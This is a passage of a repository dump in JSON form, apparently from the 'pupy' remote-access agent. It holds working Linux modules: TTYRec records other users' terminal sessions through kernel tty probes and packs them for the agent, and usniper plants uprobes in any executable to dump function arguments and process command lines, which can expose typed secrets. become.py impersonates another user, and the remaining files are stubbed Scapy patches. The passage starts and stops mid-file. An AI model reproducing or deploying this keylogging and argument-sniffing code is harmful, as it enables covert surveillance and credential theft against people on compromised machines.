pid, ts, rule, probe, tty_name, x, y, items = \\\n                start.groups()\n\n            # groups_debug.write(repr(start.groups()) + '\\n')\n\n            pid = _to_int(pid)\n            items = _to_int(items)\n            x = _to_int(x)\n            y = _to_int(y)\n\n            data = rest[:end.start()]\n            buf = rest[end.start()+2:]\n\n            if items > 0:\n                data = data[:items]\n            else:\n                # Something went wrong\n                continue\n\n            if tty_name.startswith('ptm'):\n                # Throw away this crap\n                continue\n\n            if rule == 'tty' and not tty_name.startswith(\n                    'tty') and probe == 'o':\n                # Throw away pty/tty duplicates\n                continue\n\n            if tty_name not in self._tty_cache:\n                self._tty_cache[tty_name] = TTYState()\n\n            ts = self._tty_cache[tty_name].get_last_input(ts)\n\n            if pid in self._ignore:\n                continue\n\n            if self._tty_cache[tty_name].need_resize((x, y)):\n                yield tty_name, comm, pid, 'R', ts, (x, y)\n\n            yield tty_name, comm, pid, probe, ts, data\n\n\nclass TTYRec(Task):\n    __slots__ = ('_ttymon', '_results_lock', '_state', '_event_id')\n\n    def __init__(self, manager, event_id=None,\n            name=None, winsize=None, tty_private=None):\n        super(TTYRec, self).__init__(manager)\n        self._ttymon = TTYMon(\n            name, winsize, tty_private, ignore=[os.getpid(), os.getppid()]\n        )\n        self._results_lock = Lock()\n        self._buffer = Buffer()\n        self._compressor = zlib.compressobj(9)\n        self._event_id = event_id\n        self._session = 0\n\n    def task(self):\n        self._session, = struct.unpack('<I', get_random(4))\n\n        for tty_name, comm, pid, probe, ts, buf in self._ttymon:\n\n            tty_name = tty_name[:8].ljust(8)\n            comm = comm[:16].ljust(16)\n\n            if probe == 'R':\n                buf = struct.pack('<HH', *buf)\n\n            with self._results_lock:\n                packet = self._compressor.compress(\n                    struct.pack(\n                        '<I8s16ssIfI',\n                        self._session, tty_name, comm, probe, pid,\n                        ts, len(buf)) + buf)\n                self._buffer.append(packet)\n\n                fire_event = False\n\n                if not self._dirty:\n                    fire_event = True\n\n                self._dirty = True\n\n                try:\n                    if fire_event and self._event_id is not None:\n                        self.broadcast_event(self._event_id)\n                except Exception:\n                    pass\n\n    @property\n    def results(self):\n        result = None\n\n        with self._results_lock:\n            if not self._dirty:\n                return None\n\n            try:\n                packet = self._compressor.flush()\n                self._buffer.append(packet)\n            except zlib.error:\n                pass\n\n            result = self._buffer\n            self._buffer = Buffer()\n            self._compressor = zlib.compressobj(9)\n            self._dirty = False\n\n        return result\n\n    @property\n    def active(self):\n        return self._ttymon.active\n\n    def stop(self):\n        self._ttymon.stop()\n        super(TTYRec, self).stop()\n\n\ndef start(event_id=None, name=0xE0, winsize=0x1B0, tty_private=0x30):\n    try:\n        if manager.active(TTYRec):\n            return False\n    except:\n        try:\n            manager.stop(TTYRec)\n        except:\n            pass\n\n    return manager.create(\n        TTYRec, event_id=event_id,\n        name=name, winsize=winsize, tty_private=tty_private\n    )\n\n\ndef stop():\n    return manager.stop(TTYRec)\n\n\ndef dump():\n    ttyrec = manager.get(TTYRec)\n    if ttyrec:\n        return ttyrec.results\n"
  },
  {
    "path": "pupy/packages/linux/all/usniper.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport threading\nimport random\nimport string\nimport re\nimport os\nimport pupy.agent\nimport builtins\nimport fcntl\nimport select\n\nfrom io import open\n\nimport sys\n\nif sys.version_info.major > 2:\n    basestring = str\n    long = int\n\n\nclass USniper(pupy.Task):\n    def __init__(self, manager, path, addr, reg='ax', ret=False, cast='', argtype=None):\n        super(USniper, self).__init__(manager)\n\n        self._path = path\n\n        if not os.path.isabs(self._path) or not os.path.exists(self._path):\n            raise ValueError('Executable {} not found'.format(self._path))\n\n        if ret:\n            self._match = re.compile(\n                r'^\\s*[^-]+-([\\d]+)\\s+\\[[0-9]+\\]\\s+[a-z.]{4}\\s(\\d+)\\.\\d+:'\n                r'\\s+([^:]+):\\s\\(0x[a-f0-9]+\\s\\<\\-\\s0x[a-f0-9]+\\)\\s+arg1=(?:(?:0x)?([0-9a-f]+)|\"([^\"]+)\"$)')\n        else:\n            self._match = re.compile(\n                r'^\\s*[^-]+-([\\d]+)\\s+\\[[0-9]+\\]\\s+[a-z.]{4}\\s(\\d+)\\.\\d+:'\n                r'\\s+([^:]+):\\s\\(0x[a-f0-9]+\\)\\s+arg1=(?:(?:0x)?([0-9a-f]+)|\"([^\"]+)\"$)')\n\n        if isinstance(addr, basestring):\n            if addr.startswith('0x'):\n                addr = int(addr[2:], 16)\n            else:\n                addr = int(addr)\n\n        self._type = argtype\n        self._ret = ret\n        self._reg = '%' + reg\n        self._cast = cast\n        self._addr = hex(addr) if type(addr) in (int, long) else addr\n        self._worker = None\n        self._lock = threading.Lock()\n        self._fs = '/sys/kernel/debug'\n        self._pipe = None\n        self._marker = ''.join(\n            random.choice(string.ascii_uppercase + string.digits) for _ in range(16)\n        )\n\n        self._results = {}\n\n        try:\n            with open('{}/tracing/uprobe_events'.format(self._fs), 'w') as events:\n                register = '{}:{} {}:{} {}\\n'.format(\n                    'r' if self._ret else 'p', self._marker, self._path, self._addr,\n                    '+0({}):{}'.format(self._reg, self._cast) if self._cast else self._reg\n                )\n                events.write(register)\n\n        except IOError:\n            self._stopped.set()\n            raise\n\n        with open('{}/tracing/events/uprobes/{}/enable'.format(self._fs, self._marker), 'w') as trigger:\n            trigger.write('1\\n')\n\n\n    @property\n    def results(self):\n        with self._lock:\n            result = self._results\n            self._results = {}\n            return result\n\n    def stop(self):\n        self._stopped.set()\n        with self._lock:\n            if self._pipe:\n                try:\n                    os.close(self._pipe.fileno())\n                except:\n                    pass\n\n        return True\n\n    def task(self):\n        try:\n            with open('{}/tracing/trace_pipe'.format(self._fs), 'r') as trace:\n                self._pipe = trace\n                fd = trace.fileno()\n                flag = fcntl.fcntl(fd, fcntl.F_GETFL)\n                fcntl.fcntl(fd, fcntl.F_SETFL, flag | os.O_NONBLOCK)\n\n                buf = ''\n\n                while not self._stopped.is_set():\n                    rlist = []\n\n                    try:\n                        rlist, _, xlist = select.select([trace], [], [trace], 10)\n                    except:\n                        break\n\n                    if xlist:\n                        break\n\n                    if not rlist:\n                        continue\n\n                    try:\n                        buf = buf + os.read(trace.fileno(), 4096)\n                    except IOError:\n                        break\n\n                    if not buf:\n                        break\n\n                    if '\\n' not in buf:\n                        continue\n\n                    if buf.endswith('\\n'):\n                        lines = buf.split('\\n')\n                        buf = ''\n                    else:\n                        last_n = buf.rfind('\\n')\n                        buf, lines = buf[last_n+1:], buf[:last_n].split('\\n')\n\n                    for line in lines:\n                        if line.startswith('#'):\n                            continue\n\n                        groups = self._match.match(line)\n\n                        if not groups or not groups.group(3) == self._marker:\n                            continue\n\n                        pid = groups.group(1)\n                        ts = groups.group(2)\n                        reg = groups.group(4)\n                        string = groups.group(5)\n                        if reg:\n                            value = int(reg, 16)\n                            if self._type:\n                                value = self._type(value)\n                        elif string:\n                            value = string\n                        else:\n                            value = ''\n\n                        with self._lock:\n                            if pid not in self._results:\n                                exe = os.readlink('/proc/{}/exe'.format(pid))\n                                cmdline = []\n                                with open('/proc/{}/cmdline'.format(pid)) as fcmdline:\n                                    cmdline = [\n                                        x for x in fcmdline.read().split('\\x00') if x\n                                    ]\n\n                                self._results[pid] = {\n                                    'exe': exe,\n                                    'cmd': cmdline,\n                                    'dump': {}\n                                }\n\n                            if ts not in self._results[pid]['dump']:\n                                self._results[pid]['dump'][ts] = []\n\n                            self._results[pid]['dump'][ts].append(value)\n\n        except IOError as e:\n            if not e.errno == 9:\n                raise\n\n        finally:\n            with self._lock:\n                if self._pipe:\n                    self._pipe.close()\n                    self._pipe = None\n\n            with open('{}/tracing/events/uprobes/{}/enable'.format(self._fs, self._marker), 'w') as trigger:\n                trigger.write('0\\n')\n\n            try:\n                with open('{}/tracing/uprobe_events'.format(self._fs), 'w') as events:\n                    events.write('-:{}\\n'.format(self._marker))\n            except:\n                pass\n\n\ndef start(path, addr, reg='ax', ret=False, cast=None, argtype='chr', event_id=None):\n    try:\n        if pupy.agent.manager.active(USniper):\n            return False\n    except:\n        try:\n            pupy.agent.manager.stop(USniper)\n        except:\n            pass\n\n    if argtype and hasattr(builtins, argtype):\n        argtype = getattr(builtins, argtype)\n    else:\n        argtype = None\n\n    return pupy.agent.manager.create(\n        USniper, path, addr, reg, ret, cast, argtype,\n        event_id=event_id\n    ) is not None\n\n\ndef stop():\n    return pupy.agent.manager.stop(USniper)\n\n\ndef dump():\n    usniper = pupy.agent.manager.get(USniper)\n    if usniper:\n        return usniper.results\n"
  },
  {
    "path": "pupy/packages/patches/all/scapy/__init__.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n## This file is part of Scapy\n## See http://www.secdev.org/projects/scapy for more informations\n## Copyright (C) Philippe Biondi <phil@secdev.org>\n## This program is published under a GPLv2 license\n\n## PATCHED\n\nVERSION = 'pupy-git'\n"
  },
  {
    "path": "pupy/packages/patches/all/scapy/all.py",
    "content": "## This file is part of Scapy\n## See http://www.secdev.org/projects/scapy for more informations\n## Copyright (C) Philippe Biondi <phil@secdev.org>\n## This program is published under a GPLv2 license\n\n## PATCHED\n\n\"\"\"\nAggregate top level objects from all Scapy modules.\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom scapy.base_classes import *\nfrom scapy.config import *\nfrom scapy.data import *\nfrom scapy.error import *\nfrom scapy.themes import *\nfrom scapy.arch import *\n\nfrom scapy.supersocket import *\nfrom scapy.volatile import *\nfrom scapy.as_resolvers import *\n\nfrom scapy.main import *\nfrom scapy.consts import *\nfrom scapy.compat import raw\n"
  },
  {
    "path": "pupy/packages/patches/all/scapy/asn1/.ignore",
    "content": ""
  },
  {
    "path": "pupy/packages/patches/all/scapy/compat.py",
    "content": "## This file is part of Scapy\n## See http://www.secdev.org/projects/scapy for more informations\n## Copyright (C) Philippe Biondi <phil@secdev.org>\n## Copyright (C) Gabriel Potter <gabriel@potter.fr>\n## This program is published under a GPLv2 license\n\n## PATCHED\n\n\"\"\"\nPython 2 and 3 link classes.\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport base64\nimport binascii\n\ndef cmp_to_key(mycmp):\n    # TODO remove me once all 'key=cmp_to_key(..)' has been fixed in utils6.py, automaton.py\n    \"\"\"Convert a cmp= function into a key= function.\n    To use with sort()\n\n    e.g: def stg_cmp(a, b):\n            return a == b\n    list.sort(key=cmp_to_key(stg_cmp))\n    \"\"\"\n    class K(object):\n        def __init__(self, obj, *args):\n            self.obj = obj\n        def __lt__(self, other):\n            return mycmp(self.obj, other.obj) < 0\n        def __gt__(self, other):\n            return mycmp(self.obj, other.obj) > 0\n        def __eq__(self, other):\n            return mycmp(self.obj, other.obj) == 0\n        def __le__(self, other):\n            return mycmp(self.obj, other.obj) <= 0\n        def __ge__(self, other):\n            return mycmp(self.obj, other.obj) >= 0\n        def __ne__(self, other):\n            return mycmp(self.obj, other.obj) != 0\n    return K\n\ndef cmp(a, b):\n    \"\"\"Old Python 2 function\"\"\"\n    return (a > b) - (a < b)\n\n\ndef orb(x):\n    \"\"\"Return ord(x) when necessary.\"\"\"\n    if isinstance(x, basestring):\n        return ord(x)\n    return x\n\ndef raw(x):\n    \"\"\"Convert a str, a packet to bytes\"\"\"\n    if x is None:\n        return None\n    if hasattr(x, \"__bytes__\"):\n        return x.__bytes__()\n    try:\n        return chr(x)\n    except (ValueError, TypeError):\n        return str(x)\n\ndef plain_str(x):\n    \"\"\"Convert basic byte objects to str\"\"\"\n    return x if isinstance(x, basestring) else str(x)\n\ndef chb(x):\n    \"\"\"Same than chr() but encode as bytes.\n\n    \"\"\"\n    if isinstance(x, bytes):\n        return x\n    else:\n        if hasattr(x, \"__int__\") and not isinstance(x, int):\n            return bytes(chr(int(x)))\n        return bytes(chr(x))\n\ndef bytes_hex(x):\n    \"\"\"Hexify a str or a bytes object\"\"\"\n    return binascii.b2a_hex(raw(x))\n\ndef hex_bytes(x):\n    \"\"\"De-hexify a str or a byte object\"\"\"\n    return binascii.a2b_hex(raw(x))\n\ndef base64_bytes(x):\n    \"\"\"Turn base64 into bytes\"\"\"\n    return base64.decodestring(x)\n\ndef bytes_base64(x):\n    \"\"\"Turn bytes into base64\"\"\"\n    return base64.encodestring(x).replace('\\n', '')\n"
  },
  {
    "path": "pupy/packages/patches/all/scapy/config.py",
    "content": "## This file is part of Scapy\n## See http://www.secdev.org/projects/scapy for more informations\n## Copyright (C) Philippe Biondi <phil@secdev.org>\n## This program is published under a GPLv2 license\n\n## PATCHED\n\n\"\"\"\nImplementation of the configuration object.\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nimport os,time,socket,sys\n\nfrom scapy import VERSION\nfrom scapy.data import *\nfrom scapy import base_classes\nfrom scapy.themes import NoTheme\nfrom scapy.error import log_scapy\n\n############\n## Config ##\n############\n\nclass ConfClass(object):\n    def configure(self, cnf):\n        self.__dict__ = cnf.__dict__.copy()\n    def __repr__(self):\n        return str(self)\n    def __str__(self):\n        s = \"\"\n        keys = self.__class__.__dict__.copy()\n        keys.update(self.__dict__)\n        keys = sorted(keys)\n        for i in keys:\n            if i[0] != \"_\":\n                r = repr(getattr(self, i))\n                r = \" \".join(r.split())\n                wlen = 76-max(len(i),10)\n                if len(r) > wlen:\n                    r = r[:wlen-3]+\"...\"\n                s += \"%-10s = %s\\n\" % (i, r)\n        return s[:-1]\n\nclass ProgPath(ConfClass):\n    pdfreader = \"acroread\"\n    psreader = \"gv\"\n    dot = \"dot\"\n    display = \"display\"\n    tcpdump = \"tcpdump\"\n    tcpreplay = \"tcpreplay\"\n    hexedit = \"hexer\"\n    tshark = \"tshark\"\n    wireshark = \"wireshark\"\n    ifconfig = \"ifconfig\"\n    powershell = None\n\nclass Interceptor(object):\n    def __init__(self, name, default, hook, args=None, kargs=None):\n        self.name = name\n        self.intname = \"_intercepted_%s\" % name\n        self.default=default\n        self.hook = hook\n        self.args = args if args is not None else []\n        self.kargs = kargs if kargs is not None else {}\n    def __get__(self, obj, typ=None):\n        if not hasattr(obj, self.intname):\n            setattr(obj, self.intname, self.default)\n        return getattr(obj, self.intname)\n    def __set__(self, obj, val):\n        setattr(obj, self.intname, val)\n        self.hook(self.name, val, *self.args, **self.kargs)\n\nclass ConfigFieldList:\n    def __init__(self):\n        self.fields = set()\n        self.layers = set()\n    @staticmethod\n    def _is_field(f):\n        return hasattr(f, \"owners\")\n    def _recalc_layer_list(self):\n        self.layers = {owner for f in self.fields for owner in f.owners}\n    def add(self, *flds):\n        self.fields |= {f for f in flds if self._is_field(f)}\n        self._recalc_layer_list()\n    def remove(self, *flds):\n        self.fields -= set(flds)\n        self._recalc_layer_list()\n    def __contains__(self, elt):\n        if isinstance(elt, base_classes.Packet_metaclass):\n            return elt in self.layers\n        return elt in self.fields\n    def __repr__(self):\n        return \"<%s [%s]>\" %  (self.__class__.__name__,\" \".join(str(x) for x in self.fields))\n\nclass Emphasize(ConfigFieldList):\n    pass\n\nclass Resolve(ConfigFieldList):\n    pass\n\n\nclass Num2Layer:\n    def __init__(self):\n        self.num2layer = {}\n        self.layer2num = {}\n\n    def register(self, num, layer):\n        self.register_num2layer(num, layer)\n        self.register_layer2num(num, layer)\n\n    def register_num2layer(self, num, layer):\n        self.num2layer[num] = layer\n    def register_layer2num(self, num, layer):\n        self.layer2num[layer] = num\n\n    def __getitem__(self, item):\n        if isinstance(item, base_classes.Packet_metaclass):\n            return self.layer2num[item]\n        return self.num2layer[item]\n    def __contains__(self, item):\n        if isinstance(item, base_classes.Packet_metaclass):\n            return item in self.layer2num\n        return item in self.num2layer\n    def get(self, item, default=None):\n        if item in self:\n            return self[item]\n        return default\n\n\nclass LayersList(list):\n    def __repr__(self):\n        s=[]\n        for l in self:\n            s.append(\"%-20s: %s\" % (l.__name__,l.name))\n        return \"\\n\".join(s)\n    def register(self, layer):\n        self.append(layer)\n\nclass CommandsList(list):\n    def __repr__(self):\n        s=[]\n        for l in sorted(self,key=lambda x:x.__name__):\n            if l.__doc__:\n                doc = l.__doc__.split(\"\\n\")[0]\n            else:\n                doc = \"--\"\n            s.append(\"%-20s: %s\" % (l.__name__,doc))\n        return \"\\n\".join(s)\n    def register(self, cmd):\n        self.append(cmd)\n        return cmd # return cmd so that method can be used as a decorator\n\ndef lsc():\n    print(repr(conf.commands))\n\nclass LogLevel(object):\n    def __get__(self, obj, otype):\n        return obj._logLevel\n    def __set__(self,obj,val):\n        log_scapy.setLevel(val)\n        obj._logLevel = val\n\ndef isPyPy():\n    \"\"\"Returns either scapy is running under PyPy or not\"\"\"\n    return False\n\ndef _prompt_changer(attr, val):\n    \"\"\"Change the current prompt theme\"\"\"\n    try:\n        sys.ps1 = conf.color_theme.prompt(conf.prompt)\n    except:\n        pass\n\nclass Conf(ConfClass):\n    \"\"\"This object contains the configuration of Scapy.\nsession  : filename where the session will be saved\ninteractive_shell : can be \"ipython\", \"python\" or \"auto\". Default: Auto\nstealth  : if 1, prevents any unwanted packet to go out (ARP, DNS, ...)\ncheckIPID: if 0, doesn't check that IPID matches between IP sent and ICMP IP citation received\n           if 1, checks that they either are equal or byte swapped equals (bug in some IP stacks)\n           if 2, strictly checks that they are equals\ncheckIPsrc: if 1, checks IP src in IP and ICMP IP citation match (bug in some NAT stacks)\ncheckIPinIP: if True, checks that IP-in-IP layers match. If False, do not\n             check IP layers that encapsulates another IP layer\ncheck_TCPerror_seqack: if 1, also check that TCP seq and ack match the ones in ICMP citation\niff      : selects the default output interface for srp() and sendp(). default:\"eth0\")\nverb     : level of verbosity, from 0 (almost mute) to 3 (verbose)\npromisc  : default mode for listening socket (to get answers if you spoof on a lan)\nsniff_promisc : default mode for sniff()\nfilter   : bpf filter added to every sniffing socket to exclude traffic from analysis\nhistfile : history file\npadding  : includes padding in disassembled packets\nexcept_filter : BPF filter for packets to ignore\ndebug_match : when 1, store received packet that are not matched into debug.recv\nroute    : holds the Scapy routing table and provides methods to manipulate it\nwarning_threshold : how much time between warnings from the same place\nASN1_default_codec: Codec used by default for ASN1 objects\nmib      : holds MIB direct access dictionary\nresolve  : holds list of fields for which resolution should be done\nnoenum   : holds list of enum fields for which conversion to string should NOT be done\nAS_resolver: choose the AS resolver class to use\nextensions_paths: path or list of paths where extensions are to be looked for\ncontribs : a dict which can be used by contrib layers to store local configuration\ndebug_tls:When 1, print some TLS session secrets when they are computed.\n\"\"\"\n    version = VERSION\n    session = \"\"\n    interactive = False\n    interactive_shell = \"\"\n    stealth = \"not implemented\"\n    iface = None\n    iface6 = None\n    layers = LayersList()\n    commands = CommandsList()\n    logLevel = LogLevel()\n    checkIPID = 0\n    checkIPsrc = 1\n    checkIPaddr = 1\n    checkIPinIP = True\n    check_TCPerror_seqack = 0\n    verb = 2\n    prompt = Interceptor(\"prompt\", \">>> \", _prompt_changer)\n    promisc = 1\n    sniff_promisc = 1\n    raw_layer = None\n    raw_summary = False\n    default_l2 = None\n    l2types = Num2Layer()\n    l3types = Num2Layer()\n    L3socket = None\n    L2socket = None\n    L2listen = None\n    BTsocket = None\n    min_pkt_size = 60\n    histfile = '/dev/null'\n    padding = 1\n    except_filter = \"\"\n    debug_match = 0\n    debug_tls = 0\n    wepkey = \"\"\n    cache_iflist = {}\n    cache_ipaddrs = {}\n    route = None # Filed by route.py\n    route6 = None # Filed by route6.py\n    auto_fragment = 1\n    debug_dissector = 0\n    color_theme = Interceptor(\"color_theme\", NoTheme(), _prompt_changer)\n    warning_threshold = 5\n    prog = ProgPath()\n    resolve = Resolve()\n    noenum = Resolve()\n    emph = Emphasize()\n    use_pypy = isPyPy()\n    use_pcap = False\n    use_dnet = False\n    use_bpf = False\n    use_winpcapy = False\n    use_npcap = False\n    ipv6_enabled = socket.has_ipv6\n    ethertypes = ETHER_TYPES\n    protocols = IP_PROTOS\n    services_tcp = TCP_SERVICES\n    services_udp = UDP_SERVICES\n    extensions_paths = \".\"\n    manufdb = MANUFDB\n    stats_classic_protocols = []\n    stats_dot11_protocols = []\n    temp_files = []\n    netcache = None\n    geoip_city = None\n    load_layers = []\n    contribs = dict()\n    crypto_valid = False\n    crypto_valid_advanced = False\n    fancy_prompt = True\n    auto_crop_tables = True\n\nconf = Conf()\nconf.logLevel = 30 # 30=Warning\n\ndef crypto_validator(func):\n    \"\"\"\n    This a decorator to be used for any method relying on the cryptography library.\n    Its behaviour depends on the 'crypto_valid' attribute of the global 'conf'.\n    \"\"\"\n    def func_in(*args, **kwargs):\n        if not conf.crypto_valid:\n            raise ImportError(\"Cannot execute crypto-related method! \"\n                              \"Please install python-cryptography v1.7 or later.\")\n        return func(*args, **kwargs)\n\n    return func_in\n"
  },
  {
    "path": "pupy/packages/patches/all/scapy/contrib/.ignore",
    "content": ""
  },
  {
    "path": "pupy/packages/patches/all/scapy/data.py",
    "content": "## This file is part of Scapy\n## See http://www.secdev.org/projects/scapy for more informations\n## Copyright (C) Philippe Biondi <phil@secdev.org>\n## This program is published under a GPLv2 license\n\n## PATCHED\n\n\"\"\"\nGlobal variables and functions for handling external data sets.\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n\nimport os\nimport re\nimport sys\nimport time\n\nfrom scapy.consts import DARWIN, FREEBSD, NETBSD, OPENBSD, WINDOWS\nfrom scapy.error import log_loading\n\n\n############\n## Consts ##\n############\n\nETHER_ANY = b\"\\x00\"*6\nETHER_BROADCAST = b\"\\xff\"*6\n\nETH_P_ALL = 3\nETH_P_IP = 0x800\nETH_P_ARP = 0x806\nETH_P_IPV6 = 0x86dd\nETH_P_MACSEC = 0x88e5\n\n# From net/if_arp.h\nARPHDR_ETHER = 1\nARPHDR_METRICOM = 23\nARPHDR_PPP = 512\nARPHDR_LOOPBACK = 772\nARPHDR_TUN = 65534\n\n# From pcap/dlt.h\nDLT_NULL = 0\nDLT_EN10MB = 1\nDLT_EN3MB = 2\nDLT_AX25 = 3\nDLT_PRONET = 4\nDLT_CHAOS = 5\nDLT_IEEE802 = 6\nDLT_ARCNET = 7\nDLT_SLIP = 8\nDLT_PPP = 9\nDLT_FDDI = 10\nif OPENBSD:\n    DLT_RAW = 14\nelse:\n    DLT_RAW = 12\nDLT_RAW_ALT = 101  # At least in Argus\nif FREEBSD or NETBSD:\n    DLT_SLIP_BSDOS = 13\n    DLT_PPP_BSDOS = 14\nelse:\n    DLT_SLIP_BSDOS = 15\n    DLT_PPP_BSDOS = 16\nif FREEBSD:\n    DLT_PFSYNC = 121\nelse:\n    DLT_PFSYNC = 18\n    DLT_HHDLC = 121\nDLT_ATM_CLIP = 19\nDLT_PPP_SERIAL = 50\nDLT_PPP_ETHER = 51\nDLT_SYMANTEC_FIREWALL = 99\nDLT_C_HDLC = 104\nDLT_IEEE802_11 = 105\nif OPENBSD:\n    DLT_LOOP = 12\n    DLT_ENC = 13\nelse:\n    DLT_LOOP = 108\n    DLT_ENC = 109\nDLT_LINUX_SLL = 113\nDLT_PFLOG = 117\nDLT_PRISM_HEADER = 119\nDLT_AIRONET_HEADER = 120\nDLT_IEEE802_11_RADIO = 127\nDLT_LINUX_IRDA  = 144\nDLT_IEEE802_11_RADIO_AVS = 163\nDLT_BLUETOOTH_HCI_H4 = 187\nDLT_PPI   = 192\nDLT_CAN_SOCKETCAN = 227\nDLT_IPV4 = 228\nDLT_IPV6 = 229\n\n# From net/ipv6.h on Linux (+ Additions)\nIPV6_ADDR_UNICAST     = 0x01\nIPV6_ADDR_MULTICAST   = 0x02\nIPV6_ADDR_CAST_MASK   = 0x0F\nIPV6_ADDR_LOOPBACK    = 0x10\nIPV6_ADDR_GLOBAL      = 0x00\nIPV6_ADDR_LINKLOCAL   = 0x20\nIPV6_ADDR_SITELOCAL   = 0x40     # deprecated since Sept. 2004 by RFC 3879\nIPV6_ADDR_SCOPE_MASK  = 0xF0\n#IPV6_ADDR_COMPATv4   = 0x80     # deprecated; i.e. ::/96\n#IPV6_ADDR_MAPPED     = 0x1000   # i.e.; ::ffff:0.0.0.0/96\nIPV6_ADDR_6TO4        = 0x0100   # Added to have more specific info (should be 0x0101 ?)\nIPV6_ADDR_UNSPECIFIED = 0x10000\n\n# On windows, epoch is 01/02/1970 at 00:00\nEPOCH = time.mktime((1970, 1, 2, 0, 0, 0, 3, 1, 0))-86400\n\nMTU = 0xffff # a.k.a give me all you have\n\n#####################\n## knowledge bases ##\n#####################\n\nclass KnowledgeBase:\n    def __init__(self, filename):\n        self.filename = filename\n        self.base = None\n\n    def lazy_init(self):\n        self.base = \"\"\n\n    def reload(self, filename = None):\n        if filename is not None:\n            self.filename = filename\n        oldbase = self.base\n        self.base = None\n        self.lazy_init()\n        if self.base is None:\n            self.base = oldbase\n\n    def get_base(self):\n        if self.base is None:\n            self.lazy_init()\n        return self.base\n\n### EMPTY ###\n\ndef load_manuf(*args, **kwargs):\n    return None\n\nETHER_TYPES = None\nIP_PROTOS = None\nTCP_SERVICES = None\nUDP_SERVICES = None\nMANUFDB = None\n"
  },
  {
    "path": "pupy/packages/patches/all/scapy/error.py",
    "content": "## This file is part of Scapy\n## See http://www.secdev.org/projects/scapy for more informations\n## Copyright (C) Philippe Biondi <phil@secdev.org>\n## This program is published under a GPLv2 license\n\n## PATCHED\n\n\"\"\"\nLogging subsystem and basic exception class.\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n#############################\n##### Logging subsystem #####\n#############################\n\nclass Scapy_Exception(Exception):\n    pass\n\nimport logging\nfrom logging import NullHandler\n\nlog_scapy = logging.getLogger(\"scapy\")\nlog_scapy.addHandler(NullHandler())\n\nlog_runtime = logging.getLogger(\"scapy.runtime\")          # logs at runtime\nlog_runtime.addFilter(NullHandler())\n\nlog_interactive = logging.getLogger(\"scapy.interactive\")  # logs in interactive functions\nlog_loading = logging.getLogger(\"scapy.loading\")          # logs when loading Scapy\n\ndef warning(*args, **kwargs):\n    # Do nothing\n    pass\n"
  },
  {
    "path": "pupy/packages/patches/all/scapy/extlib.py",
    "content": "## This file is part of Scapy\n## See http://www.secdev.org/projects/scapy for more informations\n## Copyright (C) Philippe Biondi <phil@secdev.org>\n## This program is published under a GPLv2 license\n\n## PATCHED\n\n\"\"\"\nExternal link to programs\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nplt = None\n\nMATPLOTLIB = 0\nMATPLOTLIB_INLINED = 0\nMATPLOTLIB_DEFAULT_PLOT_KARGS = dict()\nPYX = 0\n"
  },
  {
    "path": "pupy/packages/patches/all/scapy/layers/.ignore",
    "content": ""
  },
  {
    "path": "pupy/packages/patches/all/scapy/main.py",
    "content": "# EMPTY FILE\n"
  },
  {
    "path": "pupy/packages/patches/all/scapy/modules/.ignore",
    "content": ""
  },
  {
    "path": "pupy/packages/patches/all/scapy/modules/__init__.py.include",
    "content": ""
  },
  {
    "path": "pupy/packages/patches/all/scapy/modules/six.py.include",
    "content": ""
  },
  {
    "path": "pupy/packages/patches/all/scapy/modules/winpcapy.py.include",
    "content": ""
  },
  {
    "path": "pupy/packages/patches/all/scapy/tools/.ignore",
    "content": ""
  },
  {
    "path": "pupy/packages/posix/all/become.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport pwd\nimport os\nimport sys\nimport subprocess\n\nif sys.version_info.major > 2:\n    getcwd = os.getcwd\nelse:\n    getcwd = os.getcwdu\n\nif not hasattr(sys, '_BECOME_INITIALIZED'):\n    sys._SAVED_UID = os.getuid()\n    sys._SAVED_GID = os.getgid()\n    sys._SAVED_GROUPS = os.getgroups()\n    sys._SAVED_CWD = getcwd()\n    sys._SAVED_ENV = os.environ.copy()\n    sys._BECOME_INITIALIZED = True\n\n\ndef become(user):\n    try:\n        userinfo = pwd.getpwuid(int(user))\n    except:\n        try:\n            userinfo = pwd.getpwnam(user)\n        except:\n            raise ValueError('User {} not found'.format(user))\n\n    if os.geteuid() == userinfo.pw_uid:\n        return\n\n    sys._SAVED_UID = os.geteuid()\n    sys._SAVED_GID = os.getegid()\n    sys._SAVED_GROUPS = os.getgroups()\n    sys._SAVED_CWD = getcwd()\n    sys._SAVED_ENV = os.environ.copy()\n\n    os.initgroups(userinfo.pw_name, userinfo.pw_gid)\n    os.setegid(userinfo.pw_gid)\n    os.seteuid(userinfo.pw_uid)\n\n    os.environ['HOME'] = userinfo.pw_dir\n    os.environ['USER'] = userinfo.pw_name\n    os.environ['LOGNAME'] = userinfo.pw_name\n    os.environ['SHELL'] = userinfo.pw_shell\n    os.environ['XAUTHORITY'] = os.path.join(\n        userinfo.pw_dir, '.Xauthority'\n    )\n\n    user_dbus_socket = os.path.join(\n        '/', 'var', 'run', 'user', str(userinfo.pw_uid), 'dbus', 'user_bus_socket'\n    )\n\n    if os.path.exists(user_dbus_socket):\n        os.environ['DBUS_SESSION_BUS_ADDRESS'] = 'unix:path='+user_dbus_socket\n    elif 'DBUS_SESSION_BUS_ADDRESS' in os.environ:\n        del os.environ['DBUS_SESSION_BUS_ADDRESS']\n\n    for var in list(os.environ):\n        if var.startswith(('XDG_', 'GDM', 'DESKTOP_')):\n            del os.environ[var]\n\n    if 'PATH' in os.environ:\n        os.environ['PATH'] += ':'.join([\n            os.path.join(userinfo.pw_dir, '.local', 